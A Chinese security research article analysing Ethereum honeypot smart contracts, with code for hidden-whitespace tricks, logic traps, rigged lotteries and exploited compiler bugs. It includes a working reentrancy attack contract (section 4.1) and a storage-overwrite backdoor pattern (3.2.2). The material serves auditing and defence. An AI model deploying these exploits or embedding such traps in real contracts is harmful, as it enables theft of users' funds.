原文作者:dawu&0x7F@知道创宇404区块链安全研究团队
原文地址:https://paper.seebug.org/631/
0x00 前言
在学习区块链相关知识的过程中,拜读过一篇很好的文章《The phenomenon of smart contract honeypots》,作者详细分析了他遇到的三种蜜罐智能合约,并将相关智能合约整理收集到Github项目smart-contract-honeypots。
本文将对文中和评论中提到的 smart-contract-honeypots 和 Solidlity-Vulnerable 项目中的各蜜罐智能合约进行分析,根据分析结果将蜜罐智能合约的欺骗手段分为以下四个方面:
- 古老的欺骗手段
- 神奇的逻辑漏洞
- 新颖的赌博游戏
- 黑客的漏洞利用
基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到 118 个蜜罐智能合约地址,一共骗取了 34.7152916 个以太币(2018/06/26 价值 102946 元人民币),详情请移步文末附录部分。
0x01 古老的欺骗手段
对于该类蜜罐合约来说,仅仅使用最原始的欺骗手法。
这种手法是拙劣的,但也有着一定的诱导性。
1.1 超长空格的欺骗:WhaleGiveaway1
- Github地址:smart-contract-honeypots/WhaleGiveaway1.sol
- 智能合约地址:0x7a4349a749e59a5736efb7826ee3496a2dfd5489
在 github 上看到的合约代码如下:
细读代码会发现 GetFreebie() 的条件很容易被满足:
if(msg.value>1 ether)
{
msg.sender.transfer(this.balance);
}
只要转账金额大于 1 ether,就可以取走该智能合约里所有的以太币。
但事实绝非如此,让我们做出错误判断的原因在于 github 在显示超长行时不会自动换行。下图是设置了自动换行的本地编辑器截图:
图中第 21 行和第 29 行就是蜜罐作者通过 超长空格 隐藏起来的代码。所以实际的 脆弱点 是这样的:
if(msg.value>1 ether)
{
Owner.transfer(this.balance);
msg.sender.transfer(this.balance);
}
先将账户余额转给合约的创立者,然后再将剩余的账户余额(也就是0)转给转账的用户(受害者)
与之类似的智能合约还有 TestToken,留待有兴趣的读者继续分析:
0x02 神奇的逻辑漏洞
该类蜜罐合约用 2012年春晚小品《天网恢恢》中这么一段来表现最为合适:
送餐员: 外卖一共30元
骗子B: 没零的,100!
送餐员: 行,我找你……70!(送餐员掏出70给骗子B)
骗子A: 哎,等会儿等会儿,我这有零的,30是吧,把那100给我吧!给,30!(骗子A拿走了B给送餐员的100元,又给了送餐员30元)
送餐员: 30元正好,再见!该类漏洞也是如此,在看起来正常的逻辑下,总藏着这样那样的陷阱。
2.1 天上掉下的馅饼:Gift_1_ETH
- Github地址:smart-contract-honeypots/Gift_1_ETH.sol
- 智能合约地址:0xd8993F49F372BB014fB088eaBec95cfDC795CBF6
- 合约关键代码如下:
contract Gift_1_ETH
{
bool passHasBeenSet = false;
bytes32 public hashPass;
function SetPass(bytes32 hash)
payable
{
if(!passHasBeenSet&&(msg.value >= 1 ether))
{
hashPass = hash;
}
}
function GetGift(bytes pass) returns (bytes32)
{
if( hashPass == sha3(pass))
{
msg.sender.transfer(this.balance);
}
return sha3(pass);
}
function PassHasBeenSet(bytes32 hash)
{
if(hash==hashPass)
{
passHasBeenSet=true;
}
}
}
整个智能合约的逻辑很简单,三个关键函数功能如下:
- SetPass(): 在转账大于 1 ether 并且 passHasBeenSet 为 false (默认值就是false),就可以设置密码 hashPass。
- GetGift(): 在输入的密码加密后与 hashPass 相等的情况下,就可以取走合约里所有的以太币。
- PassHasBeenSet():如果输入的 hash 与 hashPass 相等,则 passHasBeenSet 将会被设置成 true。
如果我们想取走合约里所有的以太币,只需要按照如下流程进行操作:
推特用户 Alexey Pertsev 还为此写了一个获取礼物的 EXP。
但实际场景中,受害者转入一个以太币后并没有获取到整个智能合约的余额,这是为什么呢?
这是因为在合约创立之后,任何人都可以对合约进行操作,包括合约的创建者:
合约创建者在合约 被攻击 前,设置一个只有创建者知道的密码并将 passHasBeenSet 置为 True,将只有合约创建者可以取出智能合约中的以太币。
与之类似的智能合约还有 NEW_YEARS_GIFT:
- Github地址:Solidlity-Vulnerable/honeypots/NEW_YEARS_GIFT.sol
- 智能合约地址:0x13c547Ff0888A0A876E6F1304eaeFE9E6E06FC4B
2.2 合约永远比你有钱:MultiplicatorX3
- Github地址:smart-contract-honeypots/MultiplicatorX3.sol smart-contract-honeypots/Multiplicator.sol
- 智能合约地址:0x5aA88d2901C68fdA244f1D0584400368d2C8e739
- 合约关键代码如下:
function multiplicate(address adr)
public
payable
{
if(msg.value>=this.balance)
{
adr.transfer(this.balance+msg.value);
}
}
对于 multiplicate() 而言,只要你转账的金额大于账户余额,就可以把 账户余额 和 你本次转账的金额都转给一个可控的地址。
在这里我们需要知道:在调用 multiplicate() 时,账户余额 = 之前的账户余额 + 本次转账的金额。所以 msg.value >= this.balance 只有在原余额为0,转账数量为0的时候才会成立。也就意味着,账户余额永远不会比转账金额小。
与之类似的智能合约还有 PINCODE:
- Github地址:Solidlity-Vulnerable/honeypots/PINCODE.sol
- 智能合约地址:0x35c3034556b81132e682db2f879e6f30721b847c
2.3 谁是合约主人:TestBank
- Github地址:smart-contract-honeypots/TestBank.sol
- 智能合约地址:0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9
- 合约关键代码如下:
contract Owned {
address public owner;
function Owned() { owner = msg.sender; }
modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}
contract TestBank is Owned {
address public owner = msg.sender;
uint256 ecode;
uint256 evalue;
function useEmergencyCode(uint256 code) public payable {
if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;
}
function withdraw(uint amount) public onlyOwner {
require(amount <= this.balance);
msg.sender.transfer(amount);
}
根据关键代码的内容,如果我们可以通过 useEmergencyCode() 中的判断,那就可以将 owner 设置为我们的地址,然后通过 withdraw() 函数就可以取出合约中的以太币。
如果你也有了上述的分析,那么就需要学习一下 Solidity 中继承的相关知识参考链接5:
该部分引用自参考链接5
重点:Solidity的继承原理是代码拷贝,因此换句话说,继承的写法总是能够写成一个单独的合约。
情况五:子类父类有相同名字的变量。 父类A的test1操纵父类中的variable,子类B中的test2操纵子类中的variable,父类中的test2因为没被调用所以不存在。 解释:对EVM来说,每个storage variable都会有一个唯一标识的slot id。在下面的例子说,虽然都叫做variable,但是从bytecode角度来看,他们是由不同的slot id来确定的,因此也和变量叫什么没有关系。
contract A{
uint variable = 0;
function test1(uint a) returns(uint){
variable++;
return variable;
}
function test2(uint a) returns(uint){
variable += a;
return variable;
}
}
contract B is A{
uint variable = 0;
function test2(uint a) returns(uint){
variable++;
return variable;
}
}
====================
contract B{
uint variable1 = 0;
uint variable2 = 0;
function test1(uint a) returns(uint v){
variable1++;
return variable1;
}
function test2(uint a) returns(uint v){
variable2++;
return variable2;
}
}
根据样例中的代码,我们将该合约的核心代码修改如下:
contract TestBank is Owned {
address public owner1 = msg.sender;
modifier onlyOwner{ if (msg.sender != owner1) revert(); _; }
address public owner2 = msg.sender;
uint256 ecode;
uint256 evalue;
function useEmergencyCode(uint256 code) public payable {
if ((code == ecode) && (msg.value == evalue)) owner2 = msg.sender;
}
function withdraw(uint amount) public onlyOwner {
require(amount <= this.balance);
msg.sender.transfer(amount);
}
变量 owner1 是父类 Owner 中的 owner 变量,而 owner2 是子类 TestBank 中的变量。useEmergencyCode()函数只会修改 owner2,而非 owner1,自然无法调用 withdraw()。 由于调用 useEmergencyCode() 时需要转作者设置的 evalue wei 的以太币,所以只会造成以太币白白丢失。
0x03 新颖的赌博游戏
区块链的去中心化给博彩行业带来了新的机遇,然而久赌必输这句话也不无道理。
本章将会给介绍四个基于区块链的赌博游戏并分析庄家如何赢钱的。
3.1 加密轮盘赌轮:CryptoRoulette
- Github地址:smart-contract-honeypots/CryptoRoulette.sol Solidlity-Vulnerable/honeypots/CryptoRoulette.sol
- 智能合约地址:0x94602b0E2512DdAd62a935763BF1277c973B2758
- 合约关键代码如下:
// CryptoRoulette
//
// Guess the number secretly stored in the blockchain and win the whole contract balance!
// A new number is randomly chosen after each try.
//
// To play, call the play() method with the guessed number (1-20). Bet price: 0.1 ether
contract CryptoRoulette {
uint256 private secretNumber;
uint256 public lastPlayed;
uint256 public betPrice = 0.1 ether;
address public ownerAddr;
struct Game {
address player;
uint256 number;
}
function shuffle() internal {
// randomly set secretNumber with a value between 1 and 20
secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 20 + 1;
}
function play(uint256 number) payable public {
require(msg.value >= betPrice && number <= 10);
Game game;
game.player = msg.sender;
game.number = number;
gamesPlayed.push(game);
if (number == secretNumber) {
// win!
msg.sender.transfer(this.balance);
}
shuffle();
lastPlayed = now;
}
function kill() public {
if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {
suicide(msg.sender);
}
}
}
该合约设置了一个 1-20 的随机数:secretNumber,玩家通过调用 play() 去尝试竞猜这个数字,如果猜对,就可以取走合约中所有的钱并重新设置随机数 secretNumber。
这里存在两层猫腻。第一层猫腻就出在这个 play()。play() 需要满足两个条件才会运行:
- msg.value >= betPrice,也就是每次竞猜都需要发送至少 0.1 个以太币。
- number <= 10,竞猜的数字不能大于 10。
由于生成的随机数在 1-20 之间,而竞猜的数字不能大于 10, 那么如果随机数大于 10 呢?将不会有人能竞猜成功!所有被用于竞猜的以太币都会一直存储在智能合约中。最终合约拥有者可以通过 kill() 函数取出智能合约中所有的以太币。
在实际的场景中,我们还遇到过生成的随机数在 1-10 之间,竞猜数字不能大于 10 的智能合约。这样的合约看似保证了正常的竞猜概率,但却依旧是蜜罐智能合约!这与前文说到的第二层猫腻有关。我们将会在下一节 3.2 开放地址彩票:OpenAddressLottery 中说到相关细节。有兴趣的读者可以读完 3.2节 后再回来重新分析一下该合约。
3.2 开放地址彩票:OpenAddressLottery
3.2.1 蜜罐智能合约分析
- Github地址:Solidlity-Vulnerable/honeypots/OpenAddressLottery.sol
- 智能合约地址:0xd1915A2bCC4B77794d64c4e483E43444193373Fa
- 合约关键代码如下:
contract OpenAddressLottery{
struct SeedComponents{
uint component1;
uint component2;
uint component3;
uint component4;
}
address owner; //address of the owner
uint private secretSeed; //seed used to calculate number of an address
uint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocks
uint LuckyNumber = 1; //if the number of an address equals 1, it wins
function forceReseed() { //reseed initiated by the owner - for testing purposes
require(msg.sender==owner);
SeedComponents s;
s.component1 = uint(msg.sender);
s.component2 = uint256(block.blockhash(block.number - 1));
s.component3 = block.difficulty*(uint)(block.coinbase);
s.component4 = tx.gasprice * 7;
reseed(s); //reseed
}
}
OpenAddressLottery的逻辑很简单,每次竞猜,都会根据竞猜者的地址随机生成 0 或者 1,如果生成的值和 LuckyNumber 相等的话(LuckyNumber初始值为1),那么竞猜者将会获得 1.9 倍的奖金。
对于安全研究人员来说,这个合约可能是这些蜜罐智能合约中价值最高的一个。在这里,我将会使用一个 demo 来说一说 Solidity 编译器的一个 bug:
pragma solidity ^0.4.24;
contract OpenAddressLottery_test
{
address public addr = 0xa;
uint public b = 2;
uint256 public c = 3;
bytes public d = "zzzz";
struct SeedComponents{
uint256 component1;
uint256 component2;
uint256 component3;
uint256 component4;
}
function test() public{
SeedComponents s;
s.component1 = 252;
s.component2 = 253;
s.component3 = 254;
s.component4 = 255;
}
}
在运行 test() 之前,addr、b、c、d的值如下图所示:
在运行了 test() 之后,各值均被覆盖。
这个 bug 已经被提交给官方,并将在 Solidity 0.5.0 中被修复。
截止笔者发文,Solidity 0.5.0 依旧没有推出。这也就意味着,目前所有的智能合约都可能会受到该 bug 的影响。我们将会在 3.2.2节 中说一说这个 bug 可能的影响面。想了解蜜罐智能合约而非bug攻击面的读者可以跳过这一小节
对于该蜜罐智能合约而言,当 forceReseed()被调用后,s.component4 = tx.gasprice * 7; 将会覆盖掉 LuckyNumber 的值,使之为 7。而用户生成的竞猜数字只会是 1 或者 0,这也就意味着用户将永远不可能赢得彩票。
3.2.2 Solidity 0.4.x 结构体局部变量量引起的变量量覆盖
在 3.2.1节中,介绍了OpenAddressLottery 智能合约使用未初始化的结构体局部变量直接覆盖智能合约中定义的前几个变量,从而达到修改变量值的目的。
按照这种思路,特意构造某些参数的顺序,比如将智能合约的余额值放在首部,那么通过变量覆盖就可以修改余额值;除此之外,如果智能合约中常用的 owner 变量定义在首部,便可以造成权限提升。
示例代码1如下(编译器选择最新的0.4.25-nightly.2018.6.22+commit.9b67bdb3.Emscripten.clang):
pragma solidity ^0.4.0;
contract Test {
address public owner;
address public a;
struct Seed {
address x;
uint256 y;
}
function Test() {
owner = msg.sender;
a = 0x1111111111111111111111111111111111111111;
}
function fake_foo(uint256 n) public {
Seed s;
s.x = msg.sender;
s.y = n;
}
}
如图所示,攻击者 0x583031d1113ad414f02576bd6afabfb302140225 在调用 fake_foo() 之后,成功将 owner 修改成自己。
在 2.3节 中,介绍了 Solidity 的继承原理是代码拷贝。也就是最终都能写成一个单独的合约。这也就意味着,该 bug 也会影响到被继承的父类变量,示例代码2如下:
pragma solidity ^0.4.0;
contract Owner {
address public owner;
modifier onlyOwner {
require(owner == msg.sender);
_;
}
}
contract Test is Owner {
struct Seed {
address x;
}
function Test() {
owner = msg.sender;
}
function fake_foo() public {
Seed s;
s.x = msg.sender;
}
}
相比于示例代码1,示例代码2 更容易出现在现实生活中。由于 示例代码2 配合复杂的逻辑隐蔽性较高,更容易被不良合约发布者利用。比如利用这种特性留 后门。
在参考链接10中,开发者认为由于某些原因,让编译器通过警告的方式通知用户更合适。所以在目前 0.4.x 版本中,编译器会通过警告的方式通知智能合约开发者;但这种存在安全隐患的代码是可以通过编译并部署的。
solidity 开发者将在 0.5.0 版本将该类问题归于错误处理。
3.3 山丘之王:KingOfTheHill
- Github地址:Solidlity-Vulnerable/honeypots/KingOfTheHill.sol
- 智能合约地址:0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a
- 合约关键代码如下:
contract Owned {
address owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner{
if (msg.sender != owner)
revert();
_;
}
}
contract KingOfTheHill is Owned {
address public owner;
function() public payable {
if (msg.value > jackpot) {
owner = msg.sender;
withdrawDelay = block.timestamp + 5 days;
}
jackpot+=msg.value;
}
function takeAll() public onlyOwner {
require(block.timestamp >= withdrawDelay);
msg.sender.transfer(this.balance);
jackpot=0;
}
}
这个合约的逻辑是:每次请求 fallback(),变量 jackopt 就是加上本次传入的金额。如果你传入的金额大于之前的 jackopt,那么 owner 就会变成你的地址。
看到这个代码逻辑,你是否感觉和 2.2节 、 2.3节 有一定类似呢?
让我们先看第一个问题:msg.value > jackopt是否可以成立?答案是肯定的,由于 jackopt+=msg.value 在 msg.value > jackopt 判断之后,所以不会出现 2.2节 合约永远比你钱多的情况。
然而这个合约存在与 2.3节 同样的问题。在 msg.value > jackopt 的情况下,KingOfTheHill 中的 owner 被修改为发送者的地址,但 Owned 中的 owner 依旧是合约创建人的地址。这也就意味着取钱函数 takeAll() 将永远只有庄家才能调用,所有的账户余额都将会进入庄家的口袋。
与之类似的智能合约还有 RichestTakeAll:
- Github地址:Solidlity-Vulnerable/honeypots/RichestTakeAll.sol
- 智能合约地址:0xe65c53087e1a40b7c53b9a0ea3c2562ae2dfeb24
3.4 以太币竞争游戏:RACEFORETH
- Github地址:Solidlity-Vulnerable/honeypots/RACEFORETH.sol
- 合约关键代码如下:
contract RACEFORETH {
uint256 public SCORE_TO_WIN = 100 finney;
uint256 public speed_limit = 50 finney;
function race() public payable {
if (racerSpeedLimit[msg.sender] == 0) { racerSpeedLimit[msg.sender] = speed_limit; }
require(msg.value <= racerSpeedLimit[msg.sender] && msg.value > 1 wei);
racerScore[msg.sender] += msg.value;
racerSpeedLimit[msg.sender] = (racerSpeedLimit[msg.sender] / 2);
latestTimestamp = now;
// YOU WON
if (racerScore[msg.sender] >= SCORE_TO_WIN) {
msg.sender.transfer(PRIZE);
}
}
function () public payable {
race();
}
}
这个智能合约有趣的地方在于它设置了最大转账上限是 50 finney,最小转账下限是 2 wei(条件是大于 1 wei,也就是最小 2 wei)。每次转账之后,最大转账上限都会缩小成原来的一半,当总转账数量大于等于 100 finney,那就可以取出庄家在初始化智能合约时放进的钱。
假设我们转账了 x 次,那我们最多可以转的金额如下:
50 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... 50 * (1/2)^x
根据高中的知识可以知道,该数字将会永远小于 100
50 * (1/2)^0 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... < 50 * 2
而智能合约中设置的赢取条件就是总转账数量大于等于 100 finney。这也就意味着,没有人可以达到赢取的条件!
0x04 黑客的漏洞利用
利用重入漏洞的The DAO事件直接导致了以太坊的硬分叉、利用整数溢出漏洞可能导致代币交易出现问题。
DASP TOP10 中的前三: 重入漏洞、访问控制、算数问题在这些蜜罐智能合约中均有体现。黑客在这场欺诈者的游戏中扮演着不可或缺的角色。
4.1 私人银行(重入漏洞):PrivateBank
- Github地址:smart-contract-honeypots/PrivateBank.sol Solidlity-Vulnerable/honeypots/PRIVATE_BANK.sol
- 智能合约地址:0x95d34980095380851902ccd9a1fb4c813c2cb639
- 合约关键代码如下:
function CashOut(uint _am)
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
了解过 DAO 事件以及重入漏洞可以很明显地看出,CashOut() 存在重入漏洞。
在了解重入漏洞之前,让我们先了解三个知识点:
- Solidity 的代码执行限制。为了防止以太坊网络被攻击或滥用,智能合约执行的每一步都需要消耗 gas,俗称燃料。如果燃料消耗完了但合约没有执行完成,合约状态会回滚。
- addr.call.value()(),通过 call() 的方式进行转账,会传递目前所有的 gas 进行调用。
- 回退函数fallback(): 回退函数将会在智能合约的 call 中被调用。
如果我们调用合约中的 CashOut(),关键代码的调用过程如下图:
由于回退函数可控,如果我们在回退函数中再次调用 CashOut(), 由于满足 _am<=balances[msg.sender] ,将会再次转账,因此不断循环,直至 合约中以太币被转完或 gas 消耗完。
根据上述分析写出攻击的代码如下:
contract Attack {
address owner;
address victim;
function Attack() payable { owner = msg.sender; }
function setVictim(address target) { victim = target; }
function step1(uint256 amount) payable {
if (this.balance >= amount) {
victim.call.value(amount)(bytes4(keccak256("Deposit()")));
}
}
function step2(uint256 amount) {
victim.call(bytes4(keccak256("CashOut(uint256)")), amount);
}
// selfdestruct, send all balance to owner
function stopAttack() {
selfdestruct(owner);
}
function startAttack(uint256 amount) {
step1(amount);
step2(amount / 2);
}
function () payable {
victim.call(bytes4(keccak256("CashOut(uint256)")), msg.value);
}
}
模拟的攻击步骤如下:
- 正常用户A(地址:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c)向该合约存入 50 ether。
- 恶意攻击者 B(地址:0x583031d1113ad414f02576bd6afabfb302140225)新建恶意智能合约Attack,实施攻击。不仅取出了自己存入的 10 ether,还取出了 A 存入的 50 ether。用户 A 的余额还是50 ether,而恶意攻击者 B 的余额也因为发生溢出变成 115792089237316195423570985008687907853269984665640564039407584007913129639936。
虽然此时用户A的余额仍然存在,但由于合约中已经没有以太币了,所以A将无法取出其存入的50个以太币
根据以上的案例可以得出如下结论:当普通用户将以太币存取该蜜罐智能合约地址,他的代币将会被恶意攻击者通过重入攻击取出,虽然他依旧能查到在该智能合约中存入的代币数量,但将无法取出相应的代币。
4.2 偷梁换柱的地址(访问控制):firstTest
- Github地址:smart-contract-honeypots/firstTest.sol
- 智能合约地址:0x42dB5Bfe8828f12F164586AF8A992B3a7B038164
- 合约关键代码如下:
contract firstTest
{
address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b;
address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13;
address adr;
uint256 public Limit= 1000000000000000000;
function withdrawal()
payable public
{
adr=msg.sender;
if(msg.value>Limit)
{
emails.delegatecall(bytes4(sha3("logEvent()")));
adr.send(this.balance);
}
}
}
逻辑看起去很简单,只要在调用 withdrawal() 时发送超过 1 ether,该合约就会把余额全部转给发送者。至于通过 delegatecall() 调用的 logEvent(),谁在意呢?
在 DASP TOP10 的漏洞中,排名第二的就是访问控制漏洞,其中就说到 delegatecall() 。
delegatecall() 和 call() 功能类似,区别仅在于 delegatecall() 仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。这也就意味着调用的 logEvent() 也可以修改该合约中的参数,包括 adr。
举个例子,在第一个合约中,我们定义了一个变量 adr,在第二个合约中通过 delegatecall() 调用第一个合约中的 logEvent()。第二个合约中的第一个变量就变成了 0x1111。这也就意味着攻击者完全有能力在 logEvent() 里面修改 adr 的值。
为了验证我们的猜测,使用 evmdis 逆向 0x25df6e3da49f41ef5b99e139c87abc12c3583d13 地址处的 opcode。logEvent() 处的关键逻辑如下:
翻译成 Solidity 的伪代码大致是:
function logEvent(){
if (storage[0] == 0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B){
storage[2] = address of current contract;
}
}
这也就意味着,在调用蜜罐智能合约 firstTest 中的 withdrawal() 时,emails.delegatecall(bytes4(sha3(“logEvent()”))); 将会判断第一个变量 Owner 是否是 0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B,如果相等,就把 adr 设置为当前合约的地址。最终将会将该合约中的余额转给当前合约而非消息的发送者。adr 参数被偷梁换柱!
4.3 仅仅是测试?(整数溢出):For_Test
- Github地址:Solidlity-Vulnerable/honeypots/For_Test.sol
- 智能合约地址:0x2eCF8D1F46DD3C2098de9352683444A0B69Eb229
- 合约关键代码如下:
pragma solidity ^0.4.19;
contract For_Test
{
function Test()
payable
public
{
if(msg.value> 0.1 ether)
{
uint256 multi =0;
uint256 amountToTransfer=0;
for(var i=0;i<msg.value*2;i++)
{
multi=i*2;
if(multi<amountToTransfer)
{
break;
}
else
{
amountToTransfer=multi;
}
}
msg.sender.transfer(amountToTransfer);
}
}
}
在说逻辑之前,我们需要明白两个概念:
- msg.value 的单位是 wei。举个例子,当我们转 1 ether 时,msg.value = 1000000000000000000 (wei)
- 当我们使用 var i时,i 的数据类型将是 uint8,这个可以在 Solidity 官方手册上找到。
如同官方文档所说,当 i = 255 后,执行 i++,将会发生整数溢出,i 的值重新变成 0,这样循环将不会结束。
根据这个智能合约的内容,只要转超过 0.1 ether 并调用 Test() ,将会进入循环最终得到 amountToTransfer 的值,并将 amountToTransfer wei 发送给访问者。在不考虑整数溢出的情况下,amountToTransfer 将会是 msg.value * 2。这也是这个蜜罐合约吸引人的地方。
正是由于 for 循环中的 i 存在整数溢出,在 i=255 执行 i++ 后, i = 0 导致 multi = 0 < amountToTransfer,提前终止了循环。
细细算来,转账至少了 0.1 ether(100000000000000000 wei) 的以太币,该智能合约转回 510 wei 以太币。损失巨大。
与之类似的智能合约还有 Test1:
- Github地址:smart-contract-honeypots/Test1.sol
4.4 股息分配(老版本编译器漏洞):DividendDistributor
- Github地址:Solidlity-Vulnerable/honeypots/DividendDistributor.sol
- 智能合约地址:0x858c9eaf3ace37d2bedb4a1eb6b8805ffe801bba
- 合约关键代码如下:
function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) protected
{
if(! target.call.value(amount)() )
throw;
Transfer(amount, message, target, currentOwner);
}
function divest(uint amount) public {
if ( investors[msg.sender].investment == 0 || amount == 0)
throw;
// no need to test, this will throw if amount > investment
investors[msg.sender].investment -= amount;
sumInvested -= amount;
this.loggedTransfer(amount, "", msg.sender, owner);
}
该智能合约大致有存钱、计算利息、取钱等操作。在最开始的分析中,笔者并未在整个合约中找到任何存在漏洞、不正常的地方,使用 Remix 模拟也没有出现任何问题,一度怀疑该合约是否真的是蜜罐。直到打开了智能合约地址对应的页面:
在 Solidity 0.4.12 之前,存在一个bug,如果空字符串 “” 用作函数调用的参数,则编码器会跳过它。
举例:当我们调用了 send(from,to,””,amount), 经过编译器处理后的调用则是 send(from,to,amount)。 编写测试代码如下:
pragma solidity ^0.4.0;
contract DividendDistributorv3{
event Transfer(uint amount,bytes32 message,address target,address currentOwner);
function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner)
{
Transfer(amount, message, target, currentOwner);
}
function divest() public {
this.loggedTransfer(1, "a", 0x1, 0x2);
this.loggedTransfer(1, "", 0x1, 0x2);
}
}
在 Remix 中将编译器版本修改为 0.4.11+commit.68ef5810.Emscripten.clang后,执行 divest() 函数结果如下:
在这个智能合约中也是如此。当我们需要调用 divest() 取出我们存进去的钱,最终将会调用 this.loggedTransfer(amount, “”, msg.sender, owner);。
因为编译器的 bug,最终调用的是 this.loggedTransfer(amount, msg.sender, owner);,具体的转账函数处就是 owner.call.value(amount) 。成功的将原本要转给 msg.sender()的以太币转给 合约的拥有者。合约拥有者成功盗币!
0x05 后记
在分析过程中,我愈发认识到这些蜜罐智能合约与原始的蜜罐概念是有一定差别的。相较于蜜罐是诱导攻击者进行攻击,智能合约蜜罐的目的变成了诱导别人转账到合约地址。在欺骗手法上,也有了更多的方式,部分方式具有强烈的参考价值,值得学习。
这些蜜罐智能合约的目的性更强,显著区别与普通的 钓鱼 行为。相较于钓鱼行为面向大众,蜜罐智能合约主要面向的是 智能合约开发者、智能合约代码审计人员 或 拥有一定技术背景的黑客。因为蜜罐智能合约门槛更高,需要能够看懂智能合约才可能会上当,非常有针对性,所以使用 蜜罐 这个词,我认为是非常贴切的。
这也对 智能合约代码审计人员 提出了更高的要求,不能只看懂代码,要了解代码潜在的逻辑和威胁、了解外部可能的影响面(例如编辑器 bug 等),才能知其然也知其所以然。
对于 智能合约代码开发者 来说,先知攻 才能在代码写出前就拥有一定的警惕心理,从源头上减少存在漏洞的代码。
目前智能合约正处于新生阶段,流行的 solidity 语言也还没有发布正式 1.0 版本,很多语⾔的特性还需要发掘和完善;同时,区块链的相关业务也暂时没有出现完善的流水线操作。正因如此,在当前这个阶段智能合约代码审计更是相当的重要,合约的部署一定要经过严格的代码审计。
最后感谢 404实验室 的每一位小伙伴,分析过程中的无数次沟通交流,让这篇文章羽翼渐丰。
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)
0x06 参考链接
- Github smart-contract-honeypots
- Github Solidlity-Vulnerable
- The phenomenon of smart contract honeypots
- Solidity 中文手册
- Solidity原理(一):继承(Inheritance)
- 区块链安全 – DAO攻击事件解析
- 以太坊智能合约安全入门了解一下
- Exposing Ethereum Honeypots
- Solidity Bug Info
- Uninitialised storage references should not be allowed
0x07 附录:已知蜜罐智能合约地址以及交易情况
基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到 118 个蜜罐智能合约地址,具体结果如下:
下载地址:下载
审核人:Atoo 编辑:少爷